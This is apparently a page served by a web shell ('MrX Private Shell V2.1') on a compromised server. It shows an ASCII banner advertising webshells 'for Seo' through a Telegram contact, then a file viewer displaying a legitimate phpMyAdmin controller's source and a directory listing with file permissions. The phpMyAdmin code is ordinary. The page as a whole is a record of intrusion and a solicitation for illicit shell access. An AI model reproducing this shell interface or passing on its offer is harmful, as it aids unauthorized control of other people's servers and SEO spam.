__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
namespace PhpMyAdmin\Controllers\Database\Structure;
use PhpMyAdmin\Controllers\Database\AbstractController;
use PhpMyAdmin\Core;
use PhpMyAdmin\DatabaseInterface;
use PhpMyAdmin\ResponseRenderer;
use PhpMyAdmin\Template;
use function __;
final class ShowCreateController extends AbstractController
{
/** @var DatabaseInterface */
private $dbi;
public function __construct(ResponseRenderer $response, Template $template, string $db, DatabaseInterface $dbi)
{
parent::__construct($response, $template, $db);
$this->dbi = $dbi;
}
public function __invoke(): void
{
$selected = $_POST['selected_tbl'] ?? [];
if (empty($selected)) {
$this->response->setRequestStatus(false);
$this->response->addJSON('message', __('No table selected.'));
return;
}
$tables = $this->getShowCreateTables($selected);
$showCreate = $this->template->render('database/structure/show_create', ['tables' => $tables]);
$this->response->addJSON('message', $showCreate);
}
/**
* @param string[] $selected Selected tables.
*
* @return array<string, array<int, array<string, string>>>
*/
private function getShowCreateTables(array $selected): array
{
$tables = ['tables' => [], 'views' => []];
foreach ($selected as $table) {
$object = $this->dbi->getTable($this->db, $table);
$tables[$object->isView() ? 'views' : 'tables'][] = [
'name' => Core::mimeDefaultFunction($table),
'show_create' => Core::mimeDefaultFunction($object->showCreate()),
];
}
return $tables;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| CentralColumns | Folder | 0755 |
|
|
| AddPrefixController.php | File | 802 B | 0644 |
|
| AddPrefixTableController.php | File | 1.64 KB | 0644 |
|
| ChangePrefixFormController.php | File | 1.09 KB | 0644 |
|
| CopyFormController.php | File | 1.11 KB | 0644 |
|
| CopyTableController.php | File | 1.84 KB | 0644 |
|
| CopyTableWithPrefixController.php | File | 1.72 KB | 0644 |
|
| DropFormController.php | File | 2.21 KB | 0644 |
|
| DropTableController.php | File | 3.78 KB | 0644 |
|
| EmptyFormController.php | File | 1.12 KB | 0644 |
|
| EmptyTableController.php | File | 3.07 KB | 0644 |
|
| FavoriteTableController.php | File | 6.1 KB | 0644 |
|
| RealRowCountController.php | File | 2.35 KB | 0644 |
|
| ReplacePrefixController.php | File | 2.06 KB | 0644 |
|
| ShowCreateController.php | File | 1.71 KB | 0644 |
|